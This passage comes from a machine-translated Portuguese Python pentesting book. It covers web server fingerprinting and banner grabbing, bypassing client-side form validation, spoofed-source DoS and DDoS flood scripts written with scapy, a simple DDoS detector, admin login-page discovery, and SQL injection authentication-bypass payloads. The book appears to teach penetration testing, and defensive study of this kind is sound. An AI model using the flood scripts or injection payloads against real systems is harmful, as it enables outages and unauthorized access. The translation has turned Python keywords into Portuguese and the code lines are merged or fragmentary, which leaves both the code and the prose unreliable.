sendo tratada pela página personalizada. Agora é hora de executar a saída e vamos executá-lo duas vezes.
A saída quando a assinatura do servidor está ligado e quando a assinatura do servidor está fora é o seguinte:
[106]
capítulo 5
A tela acima mostra a saída quando a assinatura do servidor está ligado. Ao ver essa saída, podemos dizer
que o software web é Apache, a versão é 2.2.3,
eo sistema operacional é Red Hat. Na próxima saída, nenhuma informação do servidor significa a assinatura do
servidor está desligado. Às vezes alguém usa um firewall de aplicação web, como mod-segurança, o que dá
uma assinatura servidor falso. Neste caso, você precisa verificar o result.txt arquivo para a saída detalhada
completa. Vamos verificar a saída do result.txt, como mostrado na imagem seguinte:
Saída do result.txt
Quando existem várias URLs, você pode fazer uma lista de todas essas URLs e fornecê-los para o programa, e
esse arquivo irá conter a saída de todos os URLs.
urllib importação
url1 = raw_input ( "Enter the URL") http_r = urllib.urlopen
(url1) se http_r.code == 200:
imprimir http_r.headers
[107]
Pé de impressão de um servidor web e um aplicativo Web
Você vai notar que temos tomado duas saídas do programa. Na primeira saída, entramos http://www.juggyboy.com/ como
o URL. O programa forneceu muitas informações interessantes, tais como Servidor: Microsoft-IIS / 6.0 e X-Powered-By:
ASP. LÍQUIDO; infere que o site está hospedado em uma máquina Windows, o software web é
IIS 6.0, e ASP.NET é usado para programação de aplicações web. Na segunda saída, eu
está sendo executado em uma máquina Red Hat, e PHP 5.1 é utilizado para programação de aplicações web. Desta
forma, você pode obter informações sobre o sistema operacional, software de servidor web e aplicações web. Agora,
vamos olhar para o que a saída teremos se a assinatura do servidor está desligado:
[108]
capítulo 5
A partir do resultado anterior, podemos ver que o Apache está em execução. No entanto, ele não mostra nem a
versão nem o sistema operacional. Para programação de aplicações web, PHP tem sido usado, mas às vezes, a
saída não mostra a linguagem de programação. Para isso, você tem que analisar as páginas da web para obter
qualquer informação útil, como hiperlinks.
Se você deseja obter os detalhes sobre cabeçalhos, aberta dir de cabeçalhos, como mostrado no seguinte código:
>>>
> > > http_r.headers.type 'text / html'
Então, vamos conhecer com muito bonito analisador chamado BeautifulSoup. Este analisador é de uma fonte de
terceiros e é muito fácil de trabalhar. Em nosso código, usaremos a versão 4 do BeautifulSoup.
[109]
Pé de impressão de um servidor web e um aplicativo Web
O código é a seguinte:
urllib importação
de BS4 importação BeautifulSoup url = raw_input (
"Enter the URL") ht = urllib.urlopen (url) html_page =
ht.read ()
o de BS4 BeautifulSoup importação declaração é usada para importar a biblioteca BeautifulSoup. o url variável
armazena a URL do site, e urllib. urlopen (url) abre a página da Web enquanto o ht.read () função armazena a
página da web. o html_page = ht.read () declaração atribui a página para um html_page
variável. Para melhor compreensão, usamos esta variável. No b_object = BeautifulSoup (html_page) declaração,
um objeto de b_object é criado. A próxima instrução imprime o nome do título com etiquetas e sem tags. Nas
próximas b_object. find_all ( 'a') declaração salva todos os hiperlinks. As próximas impressões de linha apenas a
parte hiperlinks. A saída do programa irá limpar todas as dúvidas, e é mostrado na imagem seguinte:
[110]
capítulo 5
Agora, você viu como você pode obter o hyperlinks e um título usando bonita analisador.
urllib importação
de BS4 importação BeautifulSoup url =
"https://www.hackthissite.org" ht = urllib.urlopen (url)
html_page = ht.read ()
O código precedente foi feita https://www.hackthissite.org Enquanto o url, e no código a seguir, estamos
interessados em encontrar onde < div id = aviso> é, como mostrado na imagem seguinte:
As informações div ID
[111]
Pé de impressão de um servidor web e um aplicativo Web
Veja outro exemplo em que você deseja reunir informações sobre um site. No processo de coleta de
informações para um determinado site, você provavelmente usado http://smartwhois.com/. Usando
SmartWhois, você pode obter informações úteis sobre qualquer site, como o nome do Requerente,
Organização Titular, Name Server, e assim por diante.
No código a seguir, você vai ver como você pode obter a informação do SmartWhois. Na busca da recolha de
informação, tenho estudado SmartWhois e descobriu que a sua < div class = "whois"> tag retém as informações
relevantes. O programa a seguir vai reunir as informações a partir desta tag e salve-o em um arquivo de uma
forma legível:
urllib importação
de importação re BS4 importação BeautifulSoup
pausa
file_text.writelines ( "-" * 50) file_text.writelines (
"\ n") file_text.close ()
[112]
capítulo 5
Vamos analisar o FILE_TEXT = open ( "who.txt", 'a') declaração desde que eu espero que você seguiu o código
anterior. o FILE_TEXT objeto de arquivo abre uma quem. TXT arquivo em modo de adição para armazenar os
resultados. o who_is = b_object.body. find ( 'div', attrs = { 'classe': 'Whois'}) declaração produz o resultado desejado.
Contudo, quem é não contém todos os dados em forma de string. Se usarmos b_object. body.find ( 'div', attrs = {
'classe': 'whois'}). texto, a saída será todo o texto que contém as tags, mas esta informação torna-se muito difícil
de ler. o who_is1 = str (who_is) declaração converte a informação em forma de string:
O código anterior encontra o ponto de partida " Nome do domínio:" corda porque a nossa valiosa informação
vem depois de esta cadeia. o lines_raw variável contém a informação após o " Nome do domínio:" corda. o linhas =
lines_raw. split ( "<br/>", 150) declaração divide as linhas usando a < br /> delimitador, eo " linhas" variável torna-se
uma lista. Isso significa que em uma página HTML, onde uma ruptura
(</ br>) existe, a declaração fará uma nova linha e todas as linhas serão armazenados em uma lista nomeada linhas. o i
= 0 variável é inicializada como 0, que vai ainda ser usadas para imprimir o número de linhas, como um resultado. O
seguinte trecho de código salva os resultados na forma de um arquivo que existe em um disco rígido, bem como
exibir os resultados na tela. A saída de tela é a seguinte:
[113]
Pé de impressão de um servidor web e um aplicativo Web
Você já viu como obter hiperlinks de uma página web e, usando o código anterior,
você pode obter as informações sobre os hiperlinks. Não pare aqui; em vez disso,
tente ler mais sobre BeautifulSoup em http://www.crummy.com/software/
BeautifulSoup / BS4 / doc /.
Agora, vamos passar por um exercício que leva nomes de domínio em uma lista como uma entrada e escreve os resultados das
descobertas em um único arquivo.
[114]
capítulo 5
soquete importação
binascii importação
importação struct
s = socket.socket (. socket.PF_PACKET, socket.SOCK_RAW, Tomada ntohs (0x0800)) embora
verdadeira:
Desde que você deve ter lido Capítulo 3, Sniffing e Teste de Invasão, você deve estar familiarizado com este
código. o bandeira = PKT [0] [54: 533] declaração é novo aqui. Antes PKT [0] [54:], o pacote contém informações
TCP, IP e Ethernet. Depois de fazer algumas batida e fuga, descobri que as informações agarrando
bandeira reside entre [ 54: 533]. Você pode não bater e trilha tomando fatia [ 54: 540], [54: 545], [54: 530] e assim
por diante.
Para obter o resultado, você tem que abrir o site em um navegador da web, enquanto o programa está sendo executado,
como mostrado na imagem seguinte:
agarrando bandeira
Assim, a saída anterior mostra que o servidor é o Microsoft-IIS.6.0, e ASP.NET é o linguagem de programação que está
sendo usado. Temos a mesma informação que recebemos no processo de verificação de cabeçalho. Tente este código
e obter mais algumas informações com diferentes códigos de status.
[115]
Pé de impressão de um servidor web e um aplicativo Web
Usando o código anterior, você pode preparar coleta de informações de relatórios para si mesmos. Quando eu
aplicar a recolha de informação métodos para websites, eu geralmente encontrar muitos erros feitos pelos
clientes. Na próxima seção, você verá os erros mais comuns encontrados em um servidor web.
• Se possível, definir uma assinatura servidor falso, que pode enganar os atacantes.
• Tente esconder as extensões página linguagem de programação porque vai ser difícil para o
atacante para ver a linguagem de programação das aplicações web.
• Atualizar o servidor web com o último patch do fornecedor. Ele evita qualquer possibilidade de exploração
do servidor web. O servidor pode pelo menos ser assegurado para vulnerabilidades conhecidas.
• Não use um patch de terceiros para atualizar o servidor web. Um remendo de terceiros pode conter Trojan,
vírus, e assim por diante.
• Não instale outros aplicativos no servidor web. Se você instalar um sistema operacional como o RHEL ou
Windows, não instale outros softwares desnecessários como o Office ou editores porque eles podem conter
vulnerabilidades.
• Não instale qualquer compilador desnecessários, tais como gcc, no servidor web. Se um atacante comprometer
um servidor web e eles queriam fazer upload de um arquivo executável, os IDS ou IPS pode detectar esse
arquivo. Nesta situação, o atacante vai fazer o upload do arquivo de código (na forma de um arquivo de texto)
no servidor web e executar o arquivo no servidor web. Esta execução pode danificar o servidor web.
• Ativar o firewall no servidor web. O firewall faz muitas coisas como fechar a porta, filtrando o tráfego,
e assim por diante.
[116]
capítulo 5
Resumo
Neste capítulo, nós aprendemos a importância de uma assinatura servidor web, e obter a assinatura do
servidor é o primeiro passo em hacking. Abraham Lincoln disse uma vez:
"Dê-me seis horas para derrubar uma árvore e eu vou passar os quatro primeiros afiar o machado."
A mesma coisa se aplica no nosso caso. Antes do início de um ataque a um servidor web, é melhor verificar exatamente
quais serviços estão sendo executados nele. Isto é feito através de impressão pé do servidor web. técnicas de tratamento de
erros são um processo passivo. verificação de cabeçalho e bandeira agarrando são processos ativos para reunir
informações sobre o servidor web. Neste capítulo, nós também aprendemos sobre o analisador BeautifulSoup. Secções tais
como hiperligações, etiquetas, identificações, e assim por diante pode ser obtido a partir de BeautifulSoup. Na última seção,
você já viu algumas orientações sobre o endurecimento de um servidor web. Se você seguir essas orientações, você pode
fazer o seu servidor web difícil de atacar. No próximo capítulo, você vai aprender a validação do lado do cliente e o
parâmetro de têmpera. Você vai aprender como gerar e detectar ataques DoS e DDoS.
[117]
Do lado do cliente e ataques DDoS
No capítulo anterior, você aprendeu como analisar uma página web, bem como a forma de recolher informações
específicas de uma página HTML. Neste capítulo, vamos percorrer os seguintes tópicos:
• Tipos de validação
• Os ataques DoS
• ataques DDoS
• Detecção de DDoS
Na validação do lado do cliente, a validação é feita no lado do cliente. JavaScript é usado para a validação do lado do
cliente. Uma resposta rápida e fácil implementação fazer a validação do lado do cliente benéfica até certo ponto. No
entanto, o uso frequente de validação do lado do cliente dá atacantes uma maneira fácil de atacar; validação do lado do
servidor é mais seguro do que a validação do lado do cliente. Os usuários normais pode ver o que está acontecendo em
um navegador web. Mas um hacker pode ver o que pode ser feito fora do navegador da web. A imagem a seguir ilustra
client-side e validação do lado do servidor:
PHP desempenha um papel de camada média. Ele se conecta a página HTML para o SQL Server.
[120]
Capítulo 6
Nesta seção, vamos usar um site fictício com código JavaScript simples, juntamente com os parâmetros passados
pelo método POST e hospedados no servidor web Apache. Vamos olhar para o index.php código:
<Html>
<Fundo body = "wel.jpg">
<Tr>
<Td> <input type = "Enviar" name = "submit" value = "Submit" /> </ td> </ tr> </ table> </ form>
<br>
<Font size = 4> <a href="dis.php"> comentários Old </a> <SCRIPT LANGUAGE =
"JavaScript">
funcionar validateForm () {
formObj = document.sample;
[121]
Do lado do cliente e ataques DDoS
if (formObj.comment.value.length <1) {
Espero que você possa entender o HTML, JavaScript e código PHP. O código anterior mostra uma forma de
amostra, o qual compreende dois campos a apresentar texto, o nome e comentário:
if (formObj.comment.value.length <1) {
O código anterior mostra validação. Se o campo nome está vazio ou cheio como HACKER,
em seguida, ele exibe uma caixa de alerta, e se o campo de comentário está vazio, ele irá mostrar uma mensagem de alerta,
onde você pode digitar o seu comentário, como mostrado na imagem seguinte:
[122]
Capítulo 6
Assim, o nosso desafio aqui é para ignorar a validação e enviar o formulário. Você pode ter feito isso
anteriormente usando a suíte arroto. Agora, vamos fazer isso usando Python. No capítulo anterior, você viu a
ferramenta BeautifulSoup; agora eu vou usar um navegador Python chamada mecanizar. O navegador
mecanizar web oferece a facilidade para obter formas em uma página web e também facilita a apresentação de
valores de entrada. Usando mecanizar, vamos ignorar a validação, como mostra o seguinte código:
[123]
Do lado do cliente e ataques DDoS
Todos os nossos trechos de código começar com uma importar declaração. Então, aqui, estamos a importar o
mecanizar módulo. A linha seguinte cria um br objecto da mecanizar classe. o url = raw_input ( "Enter URL") declaração
pede a entrada do usuário. Os próximos cinco linhas representam a opção de navegador que ajuda no
redirecionamento e robots.txt manipulação. o br.open (url) declaração abre o URL dado por nós. As próximas
impressões Declaração forma nas páginas web. Agora, vamos verificar a saída do paratemp.py programa:
A saída do programa mostra que dois valores de nome estão presentes. O primeiro é nome
e a segunda é comente, que será passado para a página de ação. Mas nós não recebemos os
parâmetros. Vamos ver o resto do código:
A primeira linha é utilizada para seleccionar a forma. Em nosso site, apenas uma forma está presente. o br.form
[ 'name'] = 'hacker' declaração enche o valor HACKER no campo do nome, a próxima linha enche o comentário
vazio, ea última linha submete os valores. Agora, vamos ver a saída de ambos os lados. A saída do código é
como se segue:
envio do formulário
[124]
Capítulo 6
desvio de validação
Agora, você deve ter conseguido uma boa idéia de como contornar as validações. Geralmente, as pessoas pensam que
os parâmetros enviados pelo método POST são seguros. No entanto, no experimento anterior, você viu que ele é seguro
para usuários normais em uma rede interna. Se o site é utilizado apenas por usuários internos, em seguida, a validação
do lado do cliente uma boa escolha. No entanto, se você usar a validação do lado do cliente para sites de comércio
eletrônico, então você está apenas convidando atacantes para explorar seu site. No tópico seguinte, você verá alguns
efeitos nocivos de validação do lado do cliente no negócio.
Como pentester, muitas vezes você vai ter que analisar o código-fonte. Estes dias, o mundo do e-commerce está
crescendo rapidamente. Considere um exemplo de um site de e-commerce, como mostrado na imagem a seguir:
Exemplo de um website
[125]
Do lado do cliente e ataques DDoS
A imagem anterior mostra que o preço de um Nokia C7 é 60 e o preço de um iPhone 3G é 600. Você não sabe
se esses preços veio do banco de dados ou está escrito na página da web. A imagem seguinte mostra o preço
de ambos os celulares:
Olhe para as caixas retangulares na imagem anterior. O preço 60 está escrito na página da web, mas o preço
de 600 é retirado do banco de dados. O preço 60 pode ser alterada pelo URL adulteração se o método GET é
usado. O preço pode ser alterado para 6 em vez de 60. Isso vai mal impactar o negócio. Em testes
caixa-branca, o cliente dá-lhe o código-fonte, e você pode analisar esse código, mas no teste de caixa-preta,
você tem que realizar o teste usando ataques. Se o método POST é usado, você pode usar o Mozilla add-on
Tamper Data ( https://addons.mozilla.org/ en-US / firefox / complemento / violao dados /) para o parâmetro adulteração.
Você tem que fazê-lo manualmente assim, não há necessidade de usar a programação Python.
[126]
Capítulo 6
falsificado) e a partir de um único número de porta de origem. Este é um nível muito baixo de ataque DoS, e isso vai
de scapy.all import *
src = raw_input ( "Digite o IP de origem ") target = raw_input (" Digite o IP de destino
") srcport = int (raw_input (" Enter a porta de origem")) i = 1
while True:
IP1 = IP (src = src, dst = alvo) TCP1 = TCP (sport = srcport,
dport = 80) pkt = IP1 / TCP1 enviar (PKT, inter = 0,001)
"pacote enviado" print, ii = i + 1
Eu tenho usado scapy para escrever este código, e eu espero que você esteja familiarizado com isso. O
código anterior pede três coisas, o endereço IP de origem, endereço IP de destino, eo endereço da porta de
origem.
[127]
Do lado do cliente e ataques DDoS
Eu tenho usado um IP falsificado, a fim de esconder a minha identidade. Você terá que enviar um grande número de pacotes
para verificar o comportamento do servidor web. Durante o ataque, tentar abrir um site hospedado em um servidor web.
Independentemente de saber se ele funciona ou não, escrever seus resultados dos relatórios. Vamos verificar a saída no lado
do servidor:
Este resultado mostra que o nosso pacote foi enviado com sucesso para o servidor. Repetir este programa, com
diferentes números de sequência.
[128]
Capítulo 6
de scapy.all import *
i=1
while True:
para srcport na gama (1,65535):
IP1 = IP (src = src, dst = alvo) TCP1 = TCP (sport = srcport,
dport = 80) pkt = IP1 / TCP1 enviar (PKT, inter = 0,0001)
"pacote enviado" print, ii = i + 1
[129]
Do lado do cliente e ataques DDoS
A tela acima mostra que o pacote foi enviado com sucesso. Agora, verifique a saída na máquina de destino:
Na imagem anterior, a caixa rectangular mostra os números de porta. Vou deixar para você para criar IP
múltiplos com uma única porta.
importação aleatória
de scapy.all import *
target = raw_input ( "Digite o IP de destino")
i=1
while True:
a = str (random.randint (1254)) b = (str
random.randint (1254)) c = str (random.randint
(1254)) d = str (random.randint (1254)) dot = ""
[130]
Capítulo 6
se loop_break == 50:
pausa
No código anterior, foi utilizado o uma, b, c, e d variáveis para armazenar quatro cadeias aleatórias, que varia
de 1 a 254. A src variável armazena endereços IP aleatórios. Aqui, usamos o loop_break variável para quebrar
o para ciclo depois de 50 pacotes. Significa 50 pacotes provenientes de um IP, enquanto o resto do código é
o mesmo que o anterior. Vamos verificar a saída do mimp.py programa:
Na imagem anterior, você pode ver que depois do pacote 50, os endereços IP se mudou.
[131]
Do lado do cliente e ataques DDoS
Use várias máquinas e executar este código. Na imagem anterior, você pode ver que a máquina responde ao IP
de origem. Este tipo de ataque é muito difícil de detectar porque é muito difícil distinguir se os pacotes são
provenientes de um host válido ou uma série falsificado.
Detecção de DDoS
Quando eu estava perseguindo meus Mestres do curso de Engenharia, meu amigo e eu estávamos trabalhando em um ataque
DDoS. Este é um ataque muito sério e difícil de detectar, onde é quase impossível adivinhar se o tráfego é proveniente de um
falso host ou um verdadeiro host. Em um ataque de negação de serviço, o tráfego vem de uma única fonte para que possamos
bloquear dessa máquina em particular. Com base em determinados pressupostos, podemos fazer regras para detectar ataques
DDoS. Se o servidor web está sendo executado apenas o tráfego contendo a porta 80, deve ser permitido. Agora, vamos passar
por um código muito simples para detectar um ataque DDoS. O nome do programa é DDOS_detect1.py:
[132]
Capítulo 6
Dentro Capítulo 3, Sniffing e Teste de Invasão, você aprendeu sobre um sniffer. No código anterior, foi utilizado um
sniffer para obter o endereço IP de origem do pacote. o file_txt = open ( "dos.txt", 'a') declaração abre um arquivo em
modo de adição, e este dos. TXT arquivo é usado como um arquivo de log para detectar o ataque DDoS. Sempre
que o programa é executado, o file_txt.writelines (t1) declaração escreve a hora atual. o D_val = 10
variável é uma suposição apenas para a demonstração do programa. A suposição é feita através da
visualização das estatísticas de acessos a partir de um IP particular. Considere-se um caso de um site tutorial.
Os hits da faculdade e IP da escola seria mais. Se um grande número de solicitações vêm de um novo IP, então
ele pode ser um caso de negação de serviço. Se a contagem dos pacotes de entrada de um IP excede o D_val variável,
então o IP é considerado responsável por um ataque DDoS. o D_val1 variável será usada mais tarde no código
para evitar redundância. Eu espero que você esteja familiarizado com o código antes da se dict.has_key (IP): declaração.
Esta declaração irá verificar se a chave (endereço IP) existe no dicionário ou não. Se a chave existe no dict, então
o dict [IP] = dict [IP] +1 declaração aumenta a dict [IP] valor por 1, o que significa que dict [IP] contém uma contagem
de pacotes que vêm de um IP particular. o if (dict [IP]> D_val) e (dict [IP] <D_val1): declarações são os critérios para
detectar e escrever resultados na dos.txt Arquivo; if (dict [IP]> D_val) detecta se a contagem do pacote de entrada
excede o D_val valorizar ou não. Se ultrapassar isso, as declarações posteriores vai escrever o IP em dos.txt depois
de obter novos pacotes. Para evitar a redundância, o ( dict [IP] <D_val1) declaração tem sido utilizado. As
próximas declarações vai escrever os resultados na dos.txt Arquivo. Executar o programa em um servidor e
executar mimp.py na máquina do atacante.
[133]
Do lado do cliente e ataques DDoS
A figura abaixo mostra o dos.txt Arquivo. Olhe para esse arquivo. Ele escreve um único IP 9 vezes como
mencionamos D_val1 = D_val + 10. Você pode alterar a D_val valor para definir o número de solicitações feitas por
um determinado IP. Estes dependem das velhas estatísticas do site. Espero que o código anterior será útil para
fins de investigação.
Resumo
Neste capítulo, nós aprendemos sobre a validação do lado do cliente, bem como a forma de contornar a validação
do lado do cliente. Nós também aprendemos em que a validação situações do lado do cliente é uma boa escolha.
Temos passado por como usar Python para preencher um formulário e enviar o parâmetro onde o método GET tem
sido utilizado. Como um testador de penetração, você deve saber como parâmetro adulteração afeta um negócio.
Quatro tipos de ataques DoS foram apresentados neste capítulo. Um único ataque IP cai na categoria de um
ataque DoS, e um ataque IP múltipla cai na categoria de um ataque DDoS. Esta seção é útil não só para uma
pentester mas também para os investigadores. Aproveitando Python scripts de detecção de DDoS, você pode
modificar o código e criar um código maior, o que pode desencadear ações para controlar ou mitigar o ataque
DDoS no servidor. No próximo capítulo, Cross-Site Scripting ataques ( XSS). Você vai aprender a tirar vantagens do
Python para realizar testes de injeção de SQL. Você também vai aprender como automatizar um ataque XSS
usando scripts Python.
[134]
Pentesting de SQLI e XSS
Neste capítulo, vamos discutir alguns ataques graves em uma aplicação web. Você deve ter ouvido falar sobre incidentes
como roubo de dados, a quebra de nomes de usuários e senhas, a desfiguração de sites, e assim por diante, que são
conhecidos por ocorrer principalmente devido às vulnerabilidades que existem em aplicações web, tais como injeção de SQL
e ataques XSS . Dentro Capítulo 5, Pé de impressão de um servidor web e um aplicativo da Web, você aprendeu a ver qual
software de banco de dados está sendo usado e qual sistema operacional está sendo executado no servidor web. Agora
vamos continuar com nossos ataques, um por um. Neste capítulo, vamos abordar os seguintes tópicos:
• Tipos de XSS
SELECT COUNT (*) FROM cruz onde User = 'admin' e passar = 'ad12345'
Se a nossa consulta não foram validados, então ele iria para o banco de dados para a execução, e pode, em seguida,
revelar dados sensíveis ou excluir dados. Como sites baseados em dados de trabalho é mostrado na figura anterior.
Nesta figura, é-nos mostrado que o cliente abre a página web em um computador local. O anfitrião é conectado a um
servidor web pela Internet. A figura anterior mostra claramente o método pelo qual a aplicação Web interage com a
base de dados de um servidor da web.
[136]
Capítulo 7
Aqui, o Google não fornecer a página de login para um site particular. Nosso primeiro passo é encontrar a página do
console de administração. Lembrei-me de que, anos atrás, eu usei o URL
http://192.168.0.4/login.php, http://192.168.0.4/login.html. Agora, os desenvolvedores web tornaram-se inteligente, e eles
usam nomes diferentes para esconder a página de login. Considere que eu tenho mais de 300 ligações para tentar.
[137]
Pentesting de SQLI e XSS
Vamos dar uma olhada em um pequeno programa, login1.py, para encontrar a página de login para sites PHP:
importar httplib
importação prateleira # para armazenar nome páginas de login url =
raw_input ( "Enter a URL completa ") url1 = url.replace (" http: //", "")
url2 = url1.replace ( "/", "")
para u em [ 'php'] s:
a = "/"
url_n = url2 + a + u url_n
impressão
http_r = httplib.HTTPConnection (url2) u = a + u
se reply.status == 200:
print "\ n URL encontrado ----", url_n ch = raw_input ( "Press c para
continuar:") se ch == "c" ou ch == "C":
continuar o
resto:
pausa
s.close ()
Para uma melhor compreensão, suponha que o código anterior é uma pistola vazia. o mohit.raj arquivo é
como a revista de uma pistola, e data_handle.py é como uma máquina que pode ser usado para colocar
balas na revista. Eu escrevi este código para um site orientado a PHP. Aqui, eu importados httplib e
arquivar. o url variável armazena a URL do site digitado pelo usuário. o url2
variável armazena apenas o nome de domínio ou endereço IP. o s = shelve.open ( "mohit. raj", write-back = True) declaração
abre a mohit.raj arquivo que contém uma lista dos nomes de página de login esperava que eu entraram (a página de
login esperada) no arquivo, com base na minha experiência. o [ 'Php'] s variável significa que php é o nome da chave
da lista, e
[ 'Php'] s é a lista salva no arquivo de prateleira ( mohit.raj) usando o nome de ' php'. o
para laço extrai os nomes de página de login, um por um, e url_n = url2 + a + u mostrará o URL para o teste. A HttpConnection
instância representa uma transação com um servidor HTTP. o http_r = httplib.HTTPConnection (url2) declaração só
precisa do nome de domínio; é por isso que apenas o url2 variável foi passado como um argumento e, por
padrão, ele usa a porta 80 e armazena o resultado na http_r variável. o
http_r.request ( "GET", u) declaração faz a solicitação de rede, ea http_r. getresponse () declaração extrai a
resposta.
[138]
Capítulo 7
Se o código de retorno é 200, isso significa que fomos bem sucedidos. Ele irá imprimir o URL atual. Se, após esse primeiro
sucesso, você ainda quer encontrar mais páginas, você pode pressionar o C chave.
Você pode estar se perguntando por que eu usei o httplib biblioteca e não o urllib biblioteca. Se
estiver, então você está pensando ao longo das linhas certas. Na verdade, o que acontece é que
muitos sites usam o redirecionamento para o tratamento de erros. o urllib biblioteca suporta o
redirecionamento, mas
httplib não suporta o redirecionamento. Considere que quando nós batemos um URL que
não existe, o site (que tem tratamento de erros personalizada) redireciona a solicitação
para outra página que contém uma mensagem como Página não encontrada ou a página
não existente,
isto é, uma página 404 personalizada. Neste caso, o código de status HTTP de retorno é 200. Em
nosso código, usamos httplib; este não suporta o redirecionamento, então o código de status
HTTP retorno, 200, não irá produzir.
[139]
Pentesting de SQLI e XSS
importação prateleira
def create ():
imprimir "Isso só para uma chave" s = shelve.open ( "mohit.raj",
write-back = True) s [ 'php'] = []
s.sync ()
s.close ()
while (True):
print "Press"
print "C para criar, \ t U para Update, \ t R para recuperar" print "E para a saída" print "*" * 40
[140]
Capítulo 7
Eu espero que você lembre-se o programa de scanner de porta em que foi utilizado um arquivo de banco de dados que
armazenou o número da porta com a descrição da porta. Aqui, uma lista com o nome php é utilizado e a saída pode ser visto na
imagem seguinte:
O programa anterior é para PHP. Nós também podemos fazer programas para diferentes linguagens de servidor web
como ASP.NET.
Agora, é hora de executar um ataque de injeção SQL que se baseia tautologia. injeção de SQL baseada em
tautologia é normalmente usado para ignorar a autenticação do usuário. Por exemplo, suponha que o banco
de dados contém nomes de usuários e senhas. Neste caso, o código web de programação de aplicações
seria a seguinte:
$ Sql = "SELECT COUNT (*) FROM cros Onde (user =" $ uname "e passar =" $ passar.... ")";
[141]
Pentesting de SQLI e XSS
Os US $ uname variável armazena o nome de usuário, e os US $ passar variável armazena a senha. Se um usuário digita
um nome de usuário e senha válidos, em seguida, contagem(*) conterá um registro. E se COUNT (*)> 0, em seguida, o
usuário pode acessar a sua conta. Se um atacante entra Um" ou "um"=" 1 nos campos de nome de usuário e senha, em
seguida, a consulta será a seguinte:
$ Sql = "SELECT COUNT (*) FROM cros onde (User =" 1" ou "1" = "1". E passagem = "1" ou "1" = "1") ";.
o Do utilizador e Passar campos permanecerá verdade, e a contagem(*) campo se tornará automaticamente COUNT (*)> 0.
importação re importação
mecanizar
br = mechanize.Browser () br.set_handle_robots
(False) url = raw_input ( "Enter URL")
br.set_handle_equiv (True) br.set_handle_gzip
(True) br.set_handle_redirect (True)
br.set_handle_referer (True) br.set_handle_robots
( false) br.open (url)
bandeira = 0 p
=0
enquanto a bandeira == 0:
[142]
Capítulo 7
para l na lista:
para o jogo em re.findall (l, data1):
bandeira = 1, se
a bandeira == 1:
print "t Sucesso \ in", p + 1, "tentativas" print "bem sucedido hit ->",
pass_exp [p]
p=p+1
Você deve ser capaz de entender o programa até o para ciclo. o pass_exp
variável representa a lista que contém os ataques de senha com base em tautologia. o user1 e pass1 variáveis
pedir que o usuário digite o nome de usuário e campo de senha, como mostrado pela forma. o bandeira = 0 variável
faz com que o enquanto laço continuar, e a p inicializa como variável 0. Dentro de enquanto ciclo, que é a forma
br.select_ (nr = 0) declaração, selecione o formulário HTML um. Na verdade, esse código é baseado na
suposição de que, quando você vai para a tela de login, ele irá conter o nome de usuário de login e campos de
senha no primeiro formulário HTML. o br.form [user1] = 'admin' declaração armazena o nome de usuário; na
verdade, eu usei-o para tornar o código simples e compreensível. o br.form [pass1] = pass_exp [p] declaração
mostra o elemento da pass_exp lista passando para br.form [pass1]. Em seguida, o para seção circuito converte a
saída para o formato string. Como sabemos se a senha foi aceito com sucesso? Você viu que, após se
autenticar com sucesso para a página, você encontrará um logout ou sair opção na página. I armazenada
diferentes combinações do Sair e assinar as opções em uma lista com o nome Lista. o dados 1 = data.lower ()
declaração muda todos os dados para minúsculas. Isto tornará mais fácil encontrar o logoff ou sair termos nos
dados. Agora, vamos olhar o código:
para l na lista:
para o jogo em re.findall (l, data1):
bandeira = 1
[143]
Pentesting de SQLI e XSS
A peça de código anterior vai encontrar qualquer valor do Lista dentro data1. Se for encontrada uma correspondência, em seguida, bandeira torna-se
1; isso vai quebrar o enquanto ciclo. Em seguida, o se o sinalizador == 1
declaração irá mostrar tentativas bem sucedidas. Vamos olhar para a próxima linha de código:
A peça de código anterior mostra que, se todos os valores da pass_exp lista são mais, então o enquanto ciclo irá
quebrar.
A imagem anterior mostra a saída do código. Este é um código muito básico para limpar a lógica do
programa. Agora, eu quero que você modificar o código e fazer novo código no qual você pode fornecer
valores de lista para a senha, bem como para o nome de usuário.
Podemos escrever código diferente ( sql_form7.py) para o nome de usuário que contenha
user_exp = [ 'admin "-', "admin' -", 'admin" #', "admin' #"]
e preencher nada no campo de senha. A lógica por trás dessa lista é que, após as cordas de administração - ou
# make comentar o resto da linha é na instrução SQL:
importação re importação
mecanizar
br = mechanize.Browser () br.set_handle_robots
(Falso) url = raw_input ( "Enter URL")
br.set_handle_equiv (True) br.set_handle_gzip
(True) br.set_handle_redirect (True)
br.set_handle_referer (True)
[144]
Capítulo 7
bandeira = 0 p
=0
enquanto a bandeira == 0:
para l na lista:
para o jogo em re.findall (l, data1):
bandeira = 1, se
a bandeira == 1:
print "t Sucesso \ in", p + 1, "tentativas" print "bem sucedido hit ->",
user_exp [p]
p=p+1
No código anterior, utilizou-se mais uma variável, Formato; na saída, você tem que selecionar o nome do
formulário. No sql_form6.py código, eu assumi que o nome de usuário e senha estão contidas no número do
formulário 1.
[145]
Pentesting de SQLI e XSS
A fim de mitigar o ataque de injeção SQL anterior, você tem que definir um programa de filtro que filtra a
seqüência de entrada digitada pelo usuário. No PHP, a mysql_real_ escape_string () função é usada para filtrar. A
imagem seguinte mostra como usar essa função:
[146]
Capítulo 7
Até agora, você tem a idéia de como realizar um ataque de injeção SQL. Em um ataque de injeção SQL, nós temos que fazer
um monte de coisas manualmente, porque há uma grande quantidade de ataques de injeção SQL, tais como, a ordem baseada
no tempo baseada em consulta SQL contido por, baseado em união, e assim por diante. Cada pentester deve saber como criar
consultas manualmente. Para um tipo de ataque, você pode fazer um programa, mas agora, diferentes desenvolvedores de sites
usam métodos diferentes para exibir dados do banco de dados. Alguns desenvolvedores usam formulários HTML para exibir
dados, e alguns usam declarações HTML simples para exibir dados. Uma ferramenta de Python, SqlMap, pode fazer muitas
coisas. No entanto, às vezes, um firewall de aplicação web, tais como segurança mod, está presente; isto não permite consultas
como União e ordenar por. Nesta situação, você tem que criar consultas manualmente, como mostrado aqui:
Você pode fazer uma lista de consultas criadas. Quando consultas simples não funcionam, você pode verificar o
comportamento do site. Com base no comportamento, você pode decidir se a consulta for bem sucedida ou não. Neste
caso, a programação Python é muito útil. Vamos agora olhar para os passos para fazer um programa de Python para
7. Se não for bem sucedido, em seguida, adicione isso em tentativa não for bem sucedida e continuar com a consulta
listada.
As etapas anteriores são usados para mostrar apenas se a consulta trabalhada é bem sucedida ou não. O resultado desejado só
pode ser encontrada através da visualização do site.
[147]
Pentesting de SQLI e XSS
importação mecanizar
importação re prateleira de
importação
br = mechanize.Browser () br.set_handle_robots
(Falso) url = raw_input ( "Enter URL")
br.set_handle_equiv (True) br.set_handle_gzip
(True)
[148]
